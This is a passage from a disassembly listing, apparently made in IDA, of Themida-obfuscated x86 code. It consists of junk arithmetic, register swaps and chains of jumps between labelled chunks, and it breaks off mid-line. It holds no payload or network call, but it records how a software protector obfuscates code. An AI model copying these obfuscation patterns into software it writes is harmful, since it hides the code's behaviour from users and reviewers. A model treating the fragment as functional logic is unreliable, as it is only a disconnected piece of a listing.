xor edx, edi jmp loc_55F3B9 ; --------------------------------------------------------------------------- loc_55F00E: ; CODE XREF: sub_559C84+1766j add edx, 1EBF0DECh add edx, eax sub esp, 4 mov [esp+56h+var_58+2], ecx push 8EDh mov [esp+5Ah+var_5C+2], eax push 78127168h pop eax add eax, 71DC31BEh xor eax, 986587BEh mov ecx, eax pop eax add ecx, 0AD33E954h sub edx, ecx jmp loc_55574F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F047: ; CODE XREF: Themida_:00558FDBj add esp, 4 add esi, 4 sub esp, 4 jmp loc_5570FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F058: ; CODE XREF: sub_559C84-61DBj or eax, eax jz loc_555DBB push 13Dh mov [esp+42h+var_42], eax jmp loc_55445E ; --------------------------------------------------------------------------- loc_55F06D: ; CODE XREF: sub_559C84+1DACj not [esp-14h+arg_10] jmp loc_556C58 ; --------------------------------------------------------------------------- loc_55F075: ; CODE XREF: sub_559C84+5466j mov ebx, 2 sub ebp, ebx pop ebx jmp loc_55C40A ; --------------------------------------------------------------------------- loc_55F082: ; CODE XREF: sub_559C84-5373j mov [esp+48h+var_4A+2], eax push 8561E0Ch pop eax jmp loc_55C4D3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F090: ; DATA XREF: Themida_:005534B4o lodsd jmp loc_553B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F096: ; CODE XREF: sub_559C84+1267j pop eax push edx mov edx, ebx mov edi, edx pop edx pop ebx add ecx, edi push [esp+4+var_4] pop edi add esp, 4 jmp loc_5582F6 ; --------------------------------------------------------------------------- loc_55F0AC: ; CODE XREF: sub_559C84-3E3Cj mov [esp+0], ebp push edx jmp loc_55CF65 ; --------------------------------------------------------------------------- loc_55F0B5: ; CODE XREF: sub_559C84-3F93j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55CF1F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push esi jmp loc_558177 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F0DE: ; CODE XREF: sub_559C84+2B00j add ebp, ecx mov ecx, [esp+0] add esp, 4 push ebx jmp loc_55F075 ; --------------------------------------------------------------------------- loc_55F0EF: ; CODE XREF: sub_559C84+4400j add eax, 60B74DF5h add eax, edx jmp loc_55D5B2 ; --------------------------------------------------------------------------- loc_55F0FB: ; CODE XREF: sub_559C84+DEj push esp pop edi jmp loc_55A821 ; --------------------------------------------------------------------------- loc_55F102: ; CODE XREF: sub_559C84+FA0j pop eax add esp, 4 add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F114: ; CODE XREF: sub_559C84+5950j push eax jmp loc_554132 ; --------------------------------------------------------------------------- loc_55F11A: ; CODE XREF: sub_559C84-55EDj pop ecx push esi mov esi, 154203C9h shl esi, 2 push esi not [esp+40h+var_42+2] pop esi sub esi, 59777177h jmp loc_5567EE ; --------------------------------------------------------------------------- loc_55F134: ; CODE XREF: sub_559C84-2B3Cj or edx, 3DCC783Fh inc edx push esi mov esi, 0A34888FBh jmp loc_55AC01 ; --------------------------------------------------------------------------- loc_55F146: ; CODE XREF: sub_559C84+2E73j add edi, 0F9DA6424h mov edx, edi pop edi sub eax, edx jmp loc_55AA22 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5597C1 loc_55F156: ; CODE XREF: sub_5597C1-5885j xor eax, ecx jmp loc_55A16E ; END OF FUNCTION CHUNK FOR sub_5597C1 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55F8F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F165: ; CODE XREF: sub_559C84-29ABj dec ebp jmp loc_55CEB8 ; --------------------------------------------------------------------------- loc_55F16B: ; CODE XREF: sub_559C84-4B52j add esp, 4 shr eax, 10h xor eax, ecx push 267Ah mov [esp-0Eh+arg_8+2], eax push 245Dh mov [esp-0Ah+arg_4+2], ecx jmp loc_55F440 ; --------------------------------------------------------------------------- loc_55F188: ; CODE XREF: sub_559C84-618Bj mov edi, eax pop eax jmp loc_5564BF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F389 loc_55F190: ; CODE XREF: sub_55F389+7j mov eax, [esp+0] jmp loc_55BF61 ; END OF FUNCTION CHUNK FOR sub_55F389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F198: ; CODE XREF: sub_559C84+1597j xor ebp, [esp+44h+var_46+2] xor [esp+44h+var_46+2], ebp xor ebp, [esp+44h+var_46+2] mov esp, [esp+44h+var_46+2] imul cx push small 4A6Ah jmp loc_55A3ED ; --------------------------------------------------------------------------- loc_55F1B0: ; CODE XREF: sub_559C84-4EC2j add edi, ebp push ecx mov ecx, 17ED4256h sub edi, ecx jmp loc_557EBF ; --------------------------------------------------------------------------- loc_55F1BF: ; CODE XREF: sub_559C84+1B4Ej add [esp+4], dx push ax jmp loc_559F17 ; --------------------------------------------------------------------------- loc_55F1CB: ; CODE XREF: sub_559C84+1A4Bj pop ebx jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F1D1: ; CODE XREF: Themida_:0055ED28j pop edi add esi, 1B694E17h sub esi, ebx push edx mov edx, 1B694E17h sub esi, edx mov edx, [esp] add esp, 4 jmp loc_55A9CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F1F0: ; CODE XREF: sub_559C84-3B88j push [esp+40h+var_3E+2] pop eax pop [esp+40h+var_42+2] jmp loc_55DE9E ; --------------------------------------------------------------------------- loc_55F1FD: ; CODE XREF: sub_559C84-5A17j sub ebx, esi pop esi mov ecx, ebx jmp loc_55E054 ; --------------------------------------------------------------------------- loc_55F207: ; CODE XREF: sub_559C84+37E2j mov edx, [esp+4Ch+var_4E+2] push edx mov edx, esp add edx, 4 jmp loc_553895 ; --------------------------------------------------------------------------- loc_55F218: ; CODE XREF: sub_559C84+3D95j dec esi xor esi, 285E2C9Bh sub esi, 302A2496h add edi, esi pop esi push esi mov esi, esp add esi, 4 jmp loc_5587F0 ; --------------------------------------------------------------------------- loc_55F236: ; CODE XREF: sub_559C84+2667j or ebx, 6DE042BFh neg ebx jmp loc_553A4D ; --------------------------------------------------------------------------- loc_55F243: ; CODE XREF: sub_559C84-3625j add esi, 61296E42h add esi, 7D590336h neg esi add esi, 6EDFF496h mov eax, esi pop esi push ebp mov ebp, 14220961h or ebp, 6D2D3D87h jmp loc_55ADAF ; --------------------------------------------------------------------------- loc_55F26B: ; CODE XREF: sub_559C84-1540j pop esp mov [esp+4Ah+var_4A], ebx push eax jmp loc_55E36C ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55F275 proc near ; CODE XREF: sub_559C84-3D81j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0055F3F3 SIZE 0000000B BYTES push ebp push 456Ch mov [esp+8+var_8], esp push ebx mov ebx, 451D2259h add ebx, 7E3B1AF6h jmp loc_55F3F3 sub_55F275 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F28F: ; CODE XREF: sub_559C84-459Aj sub [esp+50h+var_4A+2], 0C003B8Bh add [esp+50h+var_4A+2], ecx add [esp+50h+var_4A+2], 0C003B8Bh jmp loc_55BBF5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5577DF loc_55F2A8: ; CODE XREF: sub_5577DF+12j mov esi, edi jmp loc_55B5CF ; END OF FUNCTION CHUNK FOR sub_5577DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F2AF: ; CODE XREF: sub_559C84+380Aj push [esp+44h+var_42+2] mov edi, [esp+48h+var_4A+2] jmp loc_559041 ; --------------------------------------------------------------------------- loc_55F2BB: ; CODE XREF: sub_559C84+4E96j pop si and si, bx pop ebx push ecx mov cx, 2066h or cx, 345Eh add cx, 0FFFFh add cx, 808h shl cx, 5 add cx, 0DCAh sub si, cx jmp loc_55B0F1 ; --------------------------------------------------------------------------- loc_55F2E5: ; CODE XREF: sub_559C84+3BFBj add esp, 4 jmp loc_55569A ; --------------------------------------------------------------------------- loc_55F2ED: ; CODE XREF: sub_559C84-3404j push [esp+20h+var_20] jmp loc_55A2B5 ; --------------------------------------------------------------------------- loc_55F2F5: ; CODE XREF: sub_559C84+4EFAj shr edi, 5 add edi, 0FF35B7A2h jmp loc_559AB4 ; --------------------------------------------------------------------------- loc_55F303: ; CODE XREF: sub_559C84-2120j xchg edx, [esp+0] pop esp mov [esp+62h+var_64+2], ebx mov ebx, 56F7656h jmp loc_55E625 ; --------------------------------------------------------------------------- loc_55F314: ; CODE XREF: sub_559C84+1F4Cj sub ebp, 17FBBDDBh jmp loc_55701C ; --------------------------------------------------------------------------- loc_55F31F: ; CODE XREF: sub_559C84-1C6Dj push esp pop esi jmp loc_55BF81 ; --------------------------------------------------------------------------- loc_55F326: ; CODE XREF: sub_559C84+2CB3j mov esp, [esp+0Eh+var_10+2] push 3A0h mov [esp+12h+var_14+2], ebp jmp loc_559819 ; --------------------------------------------------------------------------- loc_55F336: ; CODE XREF: sub_559C84-3A47j push edi mov edi, esp push edx mov edx, 0AE94DC3h or edx, 13C957ACh sub edx, 1BE95FEBh sub edi, 30441D05h jmp loc_55C967 ; --------------------------------------------------------------------------- loc_55F356: ; CODE XREF: sub_559C84-1CF7j pop edx xor al, 10h jmp loc_553A2F ; --------------------------------------------------------------------------- loc_55F35E: ; CODE XREF: sub_559C84+3CE2j or edx, ecx jmp loc_5542F5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556F29 loc_55F365: ; CODE XREF: sub_556F29+134j mov ebx, 623A5A49h dec ebx jmp loc_55485C ; END OF FUNCTION CHUNK FOR sub_556F29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F370: ; CODE XREF: sub_559C84+3112j div cx push small 5142h mov word ptr [esp+2Eh+var_30+2], dx push ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F383: ; CODE XREF: sub_559C84-151Cj push edi jmp loc_555019 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55F389 proc near ; CODE XREF: sub_559C84+36E1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F190 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], eax push esp jmp loc_55F190 sub_55F389 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F395: ; CODE XREF: sub_559C84+5C41j mov [esp+52h+var_52], ecx xchg edx, [esp+52h+var_52] sub esp, 4 mov [esp+56h+var_58+2], edx not [esp+56h+var_58+2] pop edx xchg edx, [esp+52h+var_52] pop ecx xchg edi, ecx jmp loc_55B987 ; --------------------------------------------------------------------------- loc_55F3B3: ; CODE XREF: sub_559C84+2B91j push edi jmp loc_55EB76 ; --------------------------------------------------------------------------- loc_55F3B9: ; CODE XREF: sub_559C84+5385j pop edi jmp loc_55E141 ; --------------------------------------------------------------------------- loc_55F3BF: ; CODE XREF: sub_559C84-4C8Aj and edi, 66C65195h inc edi add edi, 3470BE03h jmp loc_55AE1C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F3DF: ; CODE XREF: sub_559C84-60FDj mov ecx, edi pop edi add [esp+2Ah+var_28+2], 36DE09ADh add [esp+2Ah+var_28+2], ecx jmp loc_55C555 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F275 loc_55F3F3: ; CODE XREF: sub_55F275+15j add ebx, 3CA7C2B5h jmp loc_55C760 ; END OF FUNCTION CHUNK FOR sub_55F275 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F3FE: ; CODE XREF: sub_559C84-5BAFj and ecx, edi mov edi, [esp+0] sub esp, 4 jmp loc_55858E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557A15 loc_55F40E: ; CODE XREF: sub_557A15+9j add ebp, 4 xchg ebp, [esp+4+var_4] pop esp jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_557A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F41A: ; CODE XREF: sub_559C84+139Dj push ecx push eax mov eax, 36967761h mov ecx, 36967765h xor ecx, eax jmp loc_55E4FD ; --------------------------------------------------------------------------- loc_55F42D: ; CODE XREF: sub_559C84+2966j add esp, 4 jmp loc_55AD76 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F435: ; CODE XREF: Themida_:00557B80j xor ebx, [esp] xor [esp], ebx jmp loc_55443B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F440: ; CODE XREF: sub_559C84+54FFj push [esp-0Ah+arg_8+2] pop ecx pop [esp-0Ah+arg_4+2] jmp loc_55F6C9 ; --------------------------------------------------------------------------- loc_55F44D: ; CODE XREF: sub_559C84-63F4j add ebp, 95E2441h sub edx, ebp pop ebp pop edi sub edx, 6A657C1Eh jmp loc_557D85 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F462: ; CODE XREF: Themida_:00554E96j shl ecx, 6 shr ecx, 3 jmp loc_5585B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F46D: ; CODE XREF: sub_559C84-4BD7j shl esi, 8 or esi, 73580B35h xor esi, 0E3F18A48h mov ebx, esi pop esi mov ecx, 61F56FDBh xor ecx, ebx mov ebx, [esp+8+var_8] add esp, 4 shr ecx, 1 jmp loc_555744 ; --------------------------------------------------------------------------- loc_55F496: ; CODE XREF: sub_559C84+1CCj add esp, 4 jmp loc_559534 ; --------------------------------------------------------------------------- loc_55F49E: ; CODE XREF: sub_559C84+1748j jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F4A3: ; CODE XREF: sub_559C84-7DCj xor edx, ebp pop ebp not edx jmp loc_553FF9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F4AD: ; CODE XREF: Themida_:0055867Fj push cx mov cx, 2 jmp loc_559DD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F4B8: ; CODE XREF: sub_559C84-547Bj xor esi, 0E700AED2h jmp loc_559E4A ; --------------------------------------------------------------------------- loc_55F4C3: ; CODE XREF: sub_559C84+554j add edi, 4 jmp sub_557B99 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F4CE: ; CODE XREF: Themida_:00556AF0j mov edi, 38307CC5h neg edi shl edi, 3 jmp loc_55EB03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F4DD: ; CODE XREF: sub_559C84+4B15j add cl, 1 push edx mov dh, 2Ah xor cl, dh pop edx push bx mov bh, 0B2h jmp loc_555F3B ; --------------------------------------------------------------------------- loc_55F4EF: ; CODE XREF: sub_559C84-9ADj xchg esi, [esp+18h+var_18] pop esp jmp loc_55D119 ; --------------------------------------------------------------------------- loc_55F4F8: ; CODE XREF: sub_559C84-B18j add dl, 3 mov ch, dl mov edx, [esp+32h+var_34+2] add esp, 4 jmp loc_55D627 ; --------------------------------------------------------------------------- loc_55F50B: ; CODE XREF: sub_559C84-325Dj sub ecx, 145E314h mov edi, ecx jmp loc_55AD48 ; --------------------------------------------------------------------------- loc_55F518: ; CODE XREF: sub_559C84-529Dj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4Ah+var_4A] pop esp push 0BEh mov [esp+4Ah+var_4A], edx push edi jmp loc_554E49 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F9FD loc_55F535: ; CODE XREF: sub_55F9FD-81C8j push 6DA4h mov [esp-8+arg_4], ecx mov ecx, 28h add ecx, 7E385EB9h add ecx, edi push edx mov edx, 7E385EB9h sub ecx, edx pop edx push edx mov edx, 0 add edx, ecx mov [edx], al mov edx, [esp-4+arg_0] push esi push esp pop esi push edi jmp loc_55636E ; END OF FUNCTION CHUNK FOR sub_55F9FD ; =============== S U B R O U T I N E ======================================= sub_55F569 proc near ; CODE XREF: sub_559C84-2633j ; FUNCTION CHUNK AT 005580D4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005582D5 SIZE 00000007 BYTES push ebx mov ebx, 0 push esi mov esi, 60DC5818h add ebx, 13CE5B8Bh jmp loc_5582D5 sub_55F569 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F580: ; CODE XREF: sub_559C84+51BEj xchg esi, [esp-6+arg_0+2] pop esp mov [esp-0Ah+arg_4+2], ecx mov ecx, esp jmp loc_558F66 ; --------------------------------------------------------------------------- loc_55F58E: ; CODE XREF: sub_559C84-1442j shr edx, 4 jmp loc_5548EB ; --------------------------------------------------------------------------- loc_55F596: ; CODE XREF: sub_559C84+2B26j not edi or edi, 22CC707Ch xor edi, 5A0713E9h jmp loc_557E6A ; --------------------------------------------------------------------------- loc_55F5A9: ; CODE XREF: sub_559C84+2A55j shl ch, 7 xor ch, 0E5h sub ch, 0E6h mov bh, ch pop ecx and al, bh push [esp+14h+var_14] pop ebx add esp, 4 push 1B1Dh mov [esp+14h+var_14], ebx push 634h jmp loc_55C356 ; --------------------------------------------------------------------------- loc_55F5D3: ; CODE XREF: sub_559C84+AF1j pop esi jmp loc_55F114 ; --------------------------------------------------------------------------- loc_55F5D9: ; CODE XREF: sub_559C84+4499j pop [esp+20h+var_20] pop esp sub esp, 4 mov [esp+1Ch+var_1C], ebx push 751h jmp loc_55A69C ; --------------------------------------------------------------------------- loc_55F5F0: ; CODE XREF: sub_559C84-14F8j movzx eax, ax push 6F57h mov [esp+52h+var_52], ebp push 1FE9h mov [esp+56h+var_58+2], esp jmp loc_557843 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55F608 proc near ; CODE XREF: sub_559C84+5B10j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00557465 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00557479 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0055E180 SIZE 00000018 BYTES sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, 7FCB7620h xor edi, ecx jmp loc_55E180 sub_55F608 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F61D: ; CODE XREF: sub_559C84+5F68j xor ebp, 5BFE52C7h push eax mov eax, 7DFB10BEh sub ebp, eax pop eax shr ebp, 6 xor ebp, 69661128h push eax mov eax, 6B7F4D51h neg eax sub eax, 30A022D8h sub eax, 0ABA6F4Ch sub eax, 0FFFFFFFFh jmp loc_55B912 ; --------------------------------------------------------------------------- loc_55F64F: ; CODE XREF: sub_559C84+475j xor edi, [esp+44h+var_46+2] xor [esp+44h+var_46+2], edi not edi xchg edi, [esp+44h+var_46+2] pop ebp jmp loc_553BE6 ; --------------------------------------------------------------------------- loc_55F660: ; CODE XREF: sub_559C84+23AFj shl edi, 7 jmp loc_55CCEA ; --------------------------------------------------------------------------- loc_55F668: ; CODE XREF: sub_559C84+10EDj sub esi, 6AA640BAh jmp loc_55C5E6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55F673 proc near ; CODE XREF: sub_559C84+51A2j push ebp mov ebp, 0C9D19D60h jmp loc_55D9CE sub_55F673 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F67E: ; CODE XREF: sub_559C84+454j xor edi, [esp-1Eh+arg_18+2] pop esp movsx ecx, al jmp loc_55EA9B ; --------------------------------------------------------------------------- loc_55F68A: ; CODE XREF: sub_559C84-197Ej push [esp+22h+var_24+2] pop eax add esp, 4 mov ebx, [esp+1Eh+var_20+2] add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F69F: ; CODE XREF: sub_559C84+2974j xchg ebp, [esp+4Ch+var_4E+2] pop esp push edx push esi mov esi, 69B06EEFh jmp loc_55B438 ; --------------------------------------------------------------------------- loc_55F6AF: ; CODE XREF: sub_559C84-63C4j xor edi, 3973F1F9h jmp loc_558DF5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- dw 8B66h dd 68502404h, 237Ah, 0FFA038E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F6C9: ; CODE XREF: sub_559C84+57C4j not ecx xor [esp-0Eh+arg_8+2], ecx xor ecx, [esp-0Eh+arg_8+2] xor [esp-0Eh+arg_8+2], ecx push [esp-0Eh+arg_8+2] jmp loc_55B10C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F6DC: ; DATA XREF: Themida_:00553280o push 15DBh mov [esp], edx push eax push edi push 417A2610h pop edi shl edi, 2 sub edi, 5E89808h mov eax, edi pop edi push eax add dword ptr [esp], 0D903594h jmp loc_55D12C ; --------------------------------------------------------------------------- loc_55F705: ; CODE XREF: Themida_:005549A2j xor edi, [esp] mov esp, [esp] jmp loc_558D28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F710: ; CODE XREF: sub_559C84+1077j pop esp shr ecx, 0Ah sub esp, 4 mov [esp+3Ch+var_3E+2], edi push ebx add [esp+40h+var_42+2], 28E67473h mov edi, [esp+40h+var_42+2] push esi mov esi, esp jmp loc_5592CE ; --------------------------------------------------------------------------- loc_55F72D: ; CODE XREF: sub_559C84-518Aj push edx mov dh, al mov ch, dh pop edx pop eax add bh, ch mov ecx, [esp+3Eh+var_3E] add esp, 4 add al, bh jmp loc_55B4D4 ; --------------------------------------------------------------------------- loc_55F746: ; CODE XREF: sub_559C84-A35j pop edx sub ebp, 4 xchg ebp, [esp+5Eh+var_60+2] jmp loc_5576A0 ; --------------------------------------------------------------------------- loc_55F752: ; CODE XREF: sub_559C84-5717j push 5E563768h jmp loc_55C61D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- sub esp, 4 push ebp jmp loc_553937 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F768: ; CODE XREF: sub_559C84+3C9Aj or ecx, 7A3E6DAEh sub ecx, 7F7F6DABh jmp loc_558087 ; --------------------------------------------------------------------------- loc_55F779: ; CODE XREF: sub_559C84+2D73j dec eax xor eax, 68DB2CC1h jmp loc_55C57C ; --------------------------------------------------------------------------- loc_55F784: ; CODE XREF: sub_559C84-2DDFj dec ecx push edi mov edi, 1A41684Ch shl edi, 7 or edi, 2660EB0h jmp sub_55F608 ; --------------------------------------------------------------------------- loc_55F799: ; CODE XREF: sub_559C84-1E9Cj push dword ptr [esp+0] mov edi, [esp+2+var_4+2] add esp, 4 push 5F7Fh mov [esp+2+var_4+2], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_555115 ; --------------------------------------------------------------------------- loc_55F7BD: ; CODE XREF: sub_559C84-A43j xor ebx, [esp+5Ch+var_5C] xor [esp+5Ch+var_5C], ebx xor ebx, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] push 3C95h mov [esp+60h+var_60], edi jmp loc_55C595 ; --------------------------------------------------------------------------- loc_55F7D6: ; CODE XREF: sub_559C84+2570j push edi mov edi, esp push eax push esi push 64594266h jmp loc_556659 ; --------------------------------------------------------------------------- loc_55F7E5: ; CODE XREF: sub_559C84+3980j not al xchg al, ch jmp loc_55D70B ; --------------------------------------------------------------------------- loc_55F7EE: ; CODE XREF: sub_559C84-56Dj sub al, 0FCh mov edx, [esp+4Eh+var_4E] add esp, 4 jmp sub_557976 ; --------------------------------------------------------------------------- loc_55F7FE: ; CODE XREF: sub_559C84+2BD0j pop eax jmp loc_55DB81 ; --------------------------------------------------------------------------- loc_55F804: ; CODE XREF: sub_559C84+1D97j xor esi, ebp xor ebp, esi xor esi, ebp push ebp not [esp-8+arg_4] mov ebp, [esp-8+arg_4] jmp loc_55BC2E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555CF6 loc_55F816: ; CODE XREF: sub_555CF6+4j push 4BDAh mov [esp+4+var_4], edi push esp pop edi push ebp mov ebp, 5FC74E41h push 32EEh mov [esp+0Ch+var_C], edx jmp loc_55B927 ; END OF FUNCTION CHUNK FOR sub_555CF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F833: ; CODE XREF: sub_559C84-D23j push edx mov edx, 2D2175DCh dec edx neg edx inc edx jmp loc_55639F ; --------------------------------------------------------------------------- loc_55F842: ; CODE XREF: sub_559C84-4C00j xor edi, ecx mov ecx, [esp+8+var_8] add esp, 4 jmp loc_559B01 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi mov esi, esp push 120Dh mov [esp], edx push esi mov esi, 629B036Eh jmp loc_559724 ; =============== S U B R O U T I N E ======================================= sub_55F86E proc near ; CODE XREF: sub_559C84-3860j push ebp mov ebp, 0C4460C3h or ebx, ebp jmp loc_55C789 sub_55F86E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F87B: ; CODE XREF: sub_559C84-1405j mov ecx, 4 jmp $+5 add eax, 12735DDFh add eax, ecx sub eax, 12735DDFh pop ecx xchg eax, [esp+0] pop esp sub al, 1Ah add al, dh jmp loc_55C892 ; --------------------------------------------------------------------------- loc_55F89F: ; CODE XREF: sub_559C84-22ABj xor [esp+2Eh+var_30+2], ebp xor ebp, [esp+2Eh+var_30+2] pop esp shl [esp+2Ah+var_2C+2], cl jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F8AE: ; CODE XREF: sub_559C84-1822j sub edx, 4 xchg edx, [esp+42h+var_42] jmp loc_5564EB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F8B9: ; CODE XREF: Themida_:00554741j mov dl, ah jmp loc_556E13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F8C0: ; CODE XREF: sub_559C84+2105j push 6D7Fh jmp loc_55F395 ; --------------------------------------------------------------------------- loc_55F8CA: ; CODE XREF: sub_559C84+4450j mov ecx, 272A6DE8h add esi, 162C5EBBh jmp loc_55AB35 ; --------------------------------------------------------------------------- loc_55F8DA: ; CODE XREF: sub_559C84+EACj shr ecx, 1 or ecx, 47E27877h sub ecx, 23804601h push eax mov eax, 77E04CC1h jmp loc_55526D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F8F3: ; CODE XREF: Themida_:0055F160j pop eax push ecx mov ecx, esp add ecx, 4 push eax jmp loc_557A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_55F903: ; CODE XREF: sub_557976+1Aj inc dh push ecx mov cl, 5Fh sub cl, 50h dec cl shl cl, 4 push ax mov al, 3Eh add al, 12h xor al, 79h xor cl, al pop ax xor dh, cl mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_5593D5 ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F92C: ; CODE XREF: sub_559C84+3AEFj sub ebp, 251F1B36h xor ebp, 0D17272A3h xor eax, ebp pop ebp jmp loc_55BA6B ; --------------------------------------------------------------------------- loc_55F940: ; CODE XREF: sub_559C84+3898j pop cx mov cl, bl pop ebx jmp loc_553F7B ; --------------------------------------------------------------------------- loc_55F94A: ; CODE XREF: sub_559C84+127Dj add esp, 4 add edi, edx add edi, 1C6F43ABh pop edx push edx push esi mov esi, 20EB12C9h mov edx, 0FB68FC60h add edx, esi pop esi push edi mov edi, 75115E4Ch sub edx, 422752C5h add edx, edi add edx, 422752C5h pop edi jmp loc_557D93 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F982: ; CODE XREF: Themida_:00555F78j neg dh and dh, 1Ah xor dh, 45h xor dh, 0D1h xor dh, 0E4h jmp loc_556A0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F995: ; CODE XREF: sub_559C84-46F0j or eax, eax jnz loc_555E7F sub esp, 4 mov [esp+0], ebx sub esp, 4 mov [esp+4+var_4], edx jmp loc_55C33C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55F9B4: ; CODE 